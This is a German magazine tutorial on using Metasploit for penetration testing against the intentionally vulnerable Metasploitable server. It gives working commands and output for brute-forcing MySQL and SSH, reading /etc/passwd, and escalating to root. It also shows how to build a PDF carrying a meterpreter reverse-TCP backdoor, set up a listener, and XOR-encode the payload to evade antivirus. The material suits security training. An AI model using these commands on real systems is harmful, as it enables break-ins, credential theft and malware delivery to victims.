© MorzKerl, Photocase.com

Ständig neue Exploits, Payloads und Angriffsvektoren: Die Metasploit-Community ist definitiv eines der aktivsten Open-Source-Projekte. In der neuesten Version finden sich auch Module für Bruteforce-Angriffe auf SSH, MySQL und Telnet sowie die Möglichkeit, in Adobes PDFs Exe-Dateien unterzubringen, die Windows insgeheim im Hintergrund ausführt.

Dies ist umso gefährlicher, als der Hersteller des Readers sein Produkt immer noch nicht gepatcht hat und alle Versionen bis zur aktuellen 9.3 betroffen sind. Das Framework [1] entwickelt sich so zum Standard aller sicherheitsbewussten IT-Security-Spezialisten und Admins, die sicherstellen müssen, dass ihr Virenschutz derartige Trojaner rechtzeitig erkennt.

Richtig unsicher

Zu dem aufgerüsteten Client gesellt sich auf der DELUG-DVD mit Metasploitable [2] ein virtueller Ubuntu-Server als VMware-Image. Diese Maschine ist löchrig wie ein Schweizer Käse und dient als perfektes Testobjekt für Admins, die später ihre eigenen, vermeintlich sicheren Server unter die Lupe nehmen, sich aber zunächst ohne Risiko mit dem Pen-Testing-Tool vertraut machen wollen.

So hat auch der Metasploitable-Server mit seinen absichtlich unsicher konfigurierten Diensten und den eingebauten Sicherheitslücken das Zeug zum idealen Testobjekt für jede IT-Sicherheitsschulung. Mit dem bootfähigen Client-Image (auf der DELUG-DVD auch für USB-Sticks) kann der Admin direkt loslegen.

SVN-Update

Wer jedoch eine selbst installierte Version bevorzugt, sollte vor den ersten Tests an Metasploitable das eigentliche Framework des Clients auf Version 3.4 aktualisieren. Das ist früher oder später auch bei den Images der DVD notwendig und mit einem simplen »svn update« im Projektverzeichnis erledigt.

Vor dem Start von Metasploitable sollte der Tester noch die MAC-Adresse notieren, damit er den verwundbaren Server schneller findet. Der Befehl »nmap -sP Netzwerk« zeigt dann schnell die zugehörige IP-Adresse, im folgenden Beispiel »192.168.0.189«. Als Nächstes ermittelt Nmap offene Ports:

# nmap 192.168.0.189
Starting Nmap 5.00 ( http://nmap.org ) at 
2010-06-12 11:52 CEST
Interesting ports on 192.168.0.189:
Not shown: 988 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
5432/tcp open  postgresql
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 08:00:27:80:7A:46 (Cadmus 
Computer Systems)

Hier sieht der Admin viele Ports, die er für die ersten Bruteforce-Attacken nutzen kann. In Metasploit sucht er dazu geeignete Exploits (Listing 1).

01 ./msfconsole
02 search login
03 (...)
04 scanner/ftp/ftp_login              normal  FTP Authentication Scanner
05 scanner/mysql/mysql_login          normal  MySQL Login Utility
06 scanner/postgres/postgres_login    normal  PostgreSQL Login Utility
07 (...)
08 scanner/smb/smb_login              normal  SMB Login Check Scanner
09 scanner/ssh/ssh_login              normal  SSH Login Check Scanner
10 scanner/ssh/ssh_login_pubkey       normal  SSH Public Key Login Scanner
11 scanner/telnet/telnet_login        normal  Telnet Login Check Scanner
12 (...)

Mit dem Brecheisen

Das erste Beispiel nimmt MySQL ins Visier. Ein offener Port 3306 auf der LAN-IP-Adresse mag nicht unbedingt üblich sein, da sicherheitsbewusste Admins in den meisten Fällen den Datenbankserver lediglich an »localhost« binden. Vielfach dient diese Information Angreifern bereits als erster Hinweis auf eine fehlerhafte Konfiguration, also ein lohnendes Ziel. Im Internet finden sich umfangreiche Wordlists für die auszuführenden Versuche. Die folgenden Befehle an der Metasploit-Konsole setzen voraus, dass der Tester eine solche Datei in »/tmp/wordlist« gespeichert hat:

use scanner/mysql/mysql_login
show options
set RHOSTS 192.168.0.189
set PASS_FILE /tmp/wordlist
set USERNAME root
exploit
(...)
[*] 192.168.0.189:3306 Trying username:
'root' with password:'roosting'
[*] 192.168.0.189:3306 failed to login as 
'root' with password 'roosting'
(...)
[*] 192.168.0.189:3306 Trying username:
'root' with password:'root'
[+] 192.168.0.189:3306 - SUCCESSFUL LOGIN 
'root' : 'root'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Die gefundenen Login-Informationen überprüft anschließend »mysql -u 192.168.0.189 -u root -p« für die MySQL-Datenbank.

Nach der Eingabe des gefundenen Passworts meldet sich MySQL auf der Konsole. Hier gibt der Befehl »select load_file (\’/etc/passwd\’);« die Informationen der »passwd«-Datei aus. Listing 2 zeigt, wie sich damit alle vorhandenen Benutzer ermitteln lassen.

01 select load_file('/etc/passwd');
02 (...)
03 sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
04 msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
05 bind:x:105:113::/var/cache/bind:/bin/false
06 postfix:x:106:115::/var/spool/postfix:/bin/false
07 ftp:x:107:65534::/home/ftp:/bin/false
08 postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
09 mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
10 tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
11 distccd:x:111:65534::/:/bin/false
12 user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
13 service:x:1002:1002:,,,:/home/service:/bin/bash
14 telnetd:x:112:120::/nonexistent:/bin/false
15 proftpd:x:113:65534::/var/run/proftpd:/bin/false

Drei Benutzer

Im Beispiel sind offensichtlich drei Benutzerkonten vorhanden: »msfadmin«, »user« und »service«. Wahrscheinlich hat »msfadmin« den Server installiert, die UID »1000« lässt dies zumindest vermuten. Das macht diesen Account zum Ziel des ersten Bruteforce-Angriffs auf die SSH:

use scanner/ssh/ssh_login
show options
set RHOSTS 192.168.0.189
set PASS_FILE /tmp/wordlist
set USERNAME msfadmin
exploit

Lässt sich das Passwort mit der eingesetzten Wordlist nicht ermitteln, rücken zunächst die anderen Accounts ins Visier: Ein neuer Angriff gilt der UID »1001« des Benutzers »user«. Im Exploit-Modul ersetzt der Tester lediglich »msfadmin« durch »user« – und schon ist das Passwort »user« gefunden:

[*] 192.168.0.189:22 - SSH - Trying: 
username: 'user' with password: 'useless'
[-] 192.168.0.189:22 - SSH - Failed: 
'user':'useless'
(...)
[*] 192.168.0.189:22 - SSH - Trying: 
username: 'user' with password: 'user'
[*] Command shell session 1 opened 
(192.168.0.2:41714 -> 192.168.0.189:22)
 at Sat Jun 12 13:18:15 +0200 2010

Gleichzeitig stellt Metasploit eine Session her, aber auch ein manuelles SSH-Login funktioniert:

ssh user:@192.168.0.189

Jedoch erfolgt dies mit der UID »1001«, noch nicht als Root. Der Versuch, mit »sudo su« oder »sudo -i root« Rechte zu erlangen, scheitert, dieser Benutzer besitzt also keine Superuser-Do-Rechte. Der Tester verlässt die SSH-Verbindung mit »exit« und versucht erneut sich mit »ssh msfadmin@192.168.0.189« als Benutzer »msfadmin« anzumelden.

Die vorher ermittelten erfolgreichen Kombinationen »root«/»root« und »user«/»user« laden geradezu ein, die Kombination »msfadmin«/»msfadmin« zu testen. Der Versuch ist erfolgreich, ein abschließendes, erfolgreiches »sudo su« führt die gewünschte Priviledge Escalation durch, der simulierte Angreifer hat das System erfolgreich übernommen.

PDF-Exploits

Mit derartigen Bruteforce-Angriffen ist die Leistungsfähigkeit von Metasploit noch lange nicht ausgereizt. In dem Artikel “Geisterstunde” [3] berichtete das Linux-Magazin über Schwachstellen im beliebten Adobe Reader. Der damalige Exploit benutzte die »util.printf«-Funktion, um mit Javascript Schadcode auf einem Windows-PC abzulegen. Die Versionen 9 des Readers haben zwar diese Schwachstellen gestopft, aber auch die andere Seite hat nachgezogen. Metasploit ist wie so oft jedoch schneller als das Patch des Herstellers. Der im folgenden beschriebene Exploit »adobe_pdf_embedded_exe« zeigt, dass die Open-Source-Community eher reagiert als die Hersteller proprietärer Software.

Das Einfallstor bildet die vor Kurzem bekannt gewordene »launch«-Schwachstelle, die bei Redaktionsschluss immer noch ungepatcht war. Einen Proof of Concept (PoC) findet der interessierte Admin unter [4], abermals sorgt nur eine umständliche Einstellung in der Windows-Registry für Abhilfe.

Das folgende Beispiel nutzt einmal mehr den unverdächtigen Windows-Taschenrechner »calc.exe« als simulierten Schadcode. Danach ersetzt der Tester das Windows-Binary durch eine selbst erstellte und mitgelieferte Backdoor aus Metasploit. Dazu extrahiert er die Payload »reverse_tcp« einfach aus dem Framework als Windows-Executable, bindet die IP-Adresse zum Angreifer ein und schiebt dem Opfer ein auf den ersten Blick seriös anmutendes PDF unter, zum Beispiel per E-Mail.

Die Idee dazu ist nicht neu, ältere Exploits nutzten ähnliche Taktiken, um ins Netzwerk des Dalai Lama einzudringen oder um Regierungscomputer vieler Länder mit dem bekannten Ghostnet-Trojaner zu beglücken. Neu jedoch ist die Erkenntnis, dass auch Zeus sich dieser Methode bedient. Nicht der König der Götter ist hier gemeint, sondern der als “King of Crime” bekannte Trojaner [5].

Tabelle 1: »adobe_pdf_embedded_exe«

An der Msfconsole liefert der Befehl »use exploit/windows/fileformat/adobe_pdf_embedded_exe« gefolgt von einem »show options« eine Liste der Angriffsparameter (Tabelle 1). Fürs Beispiel benötigte Parameter sind:

• »EXENAME«: Der erste Test erfolgt nicht mit einer
  Backdoor, sondern mit »calc.exe«. Der Binärcode
  des Taschenrechners wird ins PDF eingebettet.
• »FILENAME«: Name des infizierten Dokuments, hier
  »tibet.pdf«.
• »INFILENAME«: Name des sauberen Dokuments, hier
  »test.pdf«, beispielsweise ein mit Open Office
  erstelltes PDF.
• »OUTPUTPATH«: Ausgabeverzeichnis für
  »tibet.pdf«, hier »/tmp«.

An der Msfconsole wählt der Tester jetzt den Exploit »adobe_pdf_embedded_exe« aus und initialisiert ihn mit:

use exploit/windows/fileformat/adobe_pdf_
embedded_exe
set EXENAME /tmp/calc.exe
set FILENAME tibet.pdf
set INFILENAME /tmp/test.pdf
set OUTPUTPATH /tmp
set PAYLOAD windows/meterpreter/bind_tcp

Ein »show options« zeigt die eingegebenen Daten (Abbildung 1), das abschließende »exploit« erstellt ein PDF, das den Taschenrechner startet (Abbildung 2).

Abbildung 1: Das Feedback des Exploit liefert die eingegebenen Informationen inklusive des Namens der Exe-Datei und des PDF, in das diese eingebettet ist.

Abbildung 2: Beim Öffnen des mit Metasploit erstellten PDF poppt auf einmal der Windows-Taschenrechner auf.

Eigene Backdoor bauen

Dieser Exploit kann bestenfalls als Proof of Concept herhalten. Im nächsten Beispiel öffnet deshalb eine Hintertür im PDF-Dokument eine Verbindung zurück zum Angreifer. Dazu erstellt der Tester einen passenden Schadcode. Ein typisches Szenario ist dabei eine Reverse-TCP-Verbindung, die automatisch eine Verbindung zwischen Opfer und Angreifer herstellt. Ein Programmierer würde so seine IP-Adresse und Portnummer in den Shellcode einbinden. Anwender von Metasploit brauchen jedoch keinen C- oder Assembler-Code zu erstellen. Das Tool bringt eine große Anzahl geeigneter Payloads mit, die der Tester lediglich aus dem Framework extrahieren muss.

Da als Zielplattform nur Windows-Betriebssysteme in Frage kommen, exportiert er sie in Windows\’ Exe-Binärformat. Die auszuführende Datei erhält den Namen »reverse.exe«, sie generiert Metasploit aus die Payload »meterpreter/reverse_tcp«:

/pentest/exploits/framework3/msfpayload 
windows/meterpreter/reverse_tcp LHOST=
192.168.0.2 X > reverse.exe

Die Zutaten »reverse.exe« und »test.pdf« sind jetzt vorbereitet. Metasploit verschmilzt sie zum infizierten PDF-Dokument »tibet.pdf« (Abbildung 3).

Abbildung 3: Die Windows-Backdoor ist im PDF installiert. Die Session erlaubt erst später das Betrachten des Dokuments durch den Reader.

Die Meldung »No session completed« kann der Tester getrost ignorieren, erst das Öffnen des Dokuments erzeugt später die Session. Im Beispiel kopiert der Benutzer dieses Dokument auf den Zielrechner, ein Windows XP mit SP3 und Adobe Reader, öffnet es jedoch vorerst nicht. Der angreifende PC benötigt noch einen Listener, der auf der eingetragenen Portnummer (Defaulteinstellung: 4444) lauscht, denkbar wäre auch eine Netcat-Verbindung. Als weit eleganter erweist sich aber auch hier wieder Metasploit, diesmal mit dem Multihandler. Er steht in der Msfconsole oder dem Msfcli zur Verfügung:

# /pentest/exploits/framework3/msfcli exploit
/multi/handler PAYLOAD=windows/meterpreter/
reverse_tcp LHOST=192.168.0.2 LPORT=4444 E
[*] Please wait while we load the module 
tree...
[*] Started reverse handler on 
192.168.0.2:4444
[*] Starting the payload handler...

Der Listener befindet sich in Empfangsbereitschaft und wartet auf ein geöffnetes Dokument. Auf dem Windows-PC reagiert der Adobe Reader zunächst etwas verwirrt und möchte das Dokument schließen, was der Benutzer im Test auch akzeptiert (Abbildung 4).

Abbildung 4: Eigentlich auffällig, dass der Adobe Reader beim Öffnen eines PDF eine Datei speichern und sich beenden möchte, aber das mag mancher User noch übersehen.

Awareness

Gut erzogene Anwender sollten spätestens bei der jetzt folgenden Warnung skeptisch werden und den Administrator anrufen (Abbildung 5). Auch wenn sich diese Mitteilungen vom Angreifer in vermeintlich weniger gefährliche Nachrichten umwandeln lassen, erweist sich solch eine meist aufwändig anzutrainierende Security Awareness aller Mitarbeiter hier als einziger Schutzschild vor der Backdoor, die das Klicken auf »Öffnen« startet (Abbildung 6).

Abbildung 5: Spätestens beim Lesen dieser Warnung sollten aufmerksame Benutzer stutzig werden.

Abbildung 6: Der Multihandler hat eine Verbindung zum kompromittierten Windows-Rechner geöffnet.

Ein Netstat-Aufruf auf einem der beteiligten Rechner bestätigt die Verbindung. Aktive Virenscanner auf dem Windows-PC sollten den Prozess zwar vorher unterbrechen, aber auch dafür gibt es simple Workarounds. Echte Angreifer verwenden aktuelle Varianten von Metasploit zusammen mit Webseiten wie Virustotal [6], um den eingebetteten Code zu verstecken. Dort finden sie 41 verschiedene Scanner, die auf den Upload von potenziellem Schadcode warten und diesen untersuchen. Die Payload »reverse.exe« aus dem Standard-Metasploit-Setup erkannten im Test immerhin noch 23 Virenscanner. Zumindest die großen Hersteller von Antivirensoftware haben ihre Hausaufgaben offenbar gemacht, bis vor wenigen Monaten war die Erfolgsrate deutlich geringer.

Aber die Angreifer reagieren und verschleiern den Schadcode, indem sie ihn zum Beispiel durch XOR-Encoder schicken. Metasploit hat auch dafür mit Msfencode ein Modul dabei, »msfencode -h« und »-l« zeigt seine Fähigkeiten (Listing 3 und 4). Damit konnten die Autoren die Trefferrate auf 15 senken. Admins müssen hier selbst testen, ob ihnen die auf ihren Windows-Systemen installierte Virensoftware ausreicht. Die reagiert glücklicherweise sehr empfindlich auf Metasploit-Module.

01 Usage: ./msfencode <options>
02 OPTIONS:
03 -a <opt>  The architecture to encode as
04 -b <opt>  The list of characters to avoid: 'x00xff'
05 -c <opt>  The number of times to encode the data
06 -e <opt>  The encoder to use
07 -h        Help banner
08 -i <opt>  Encode the contents of the supplied file path
09 -k        Keep template working; run payload in new thread (use with -x)
10 -l        List available encoders
11 -m <opt>  Specifies an additional module search path
12 -n        Dump encoder information
13 -o <opt>  The output file
14 -p <opt>  The platform to encode for
15 -s <opt>  The maximum size of the encoded data
16 -t <opt>  The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
17 -x <opt>  Specify an alternate win32 executable template

01 Framework Encoders
02 ==================
03 Name                    Rank       Description
04 ----                    ----       -----------
05 cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
06 cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
07 generic/none            normal     The "none" Encoder
08 mipsbe/longxor          normal     XOR Encoder
09 mipsle/longxor          normal     XOR Encoder
10 php/base64              normal     PHP Base64 encoder
11 ppc/longxor             normal     PPC LongXOR Encoder
12 ppc/longxor_tag         normal     PPC LongXOR Encoder
13 sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
14 x64/xor                 normal     XOR Encoder
15 x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
16 x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
17 x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
18 x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
19 x86/countdown           normal     Single-byte XOR Countdown Encoder
20 x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
21 x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
22 x86/nonalpha            low        Non-Alpha Encoder
23 x86/nonupper            low        Non-Upper Encoder
24 x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
25 x86/single_static_bit   manual     Single Static Bit
26 x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
27 x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Das Spiel geht weiter

Kein Grund jedoch, sich in Sicherheit zu wiegen, denn auch hier hilft Metasploit weiter. Frisch erstellter Binärcode, über den implementierten Encoder mit XOR-Befehlen verschliffen, täuscht Antivirensoftware immer noch erfolgreich. Das altbekannte Hase-und-Igel-Spiel zwischen Angreifern und Herstellern von Sicherheitssoftware geht weiter.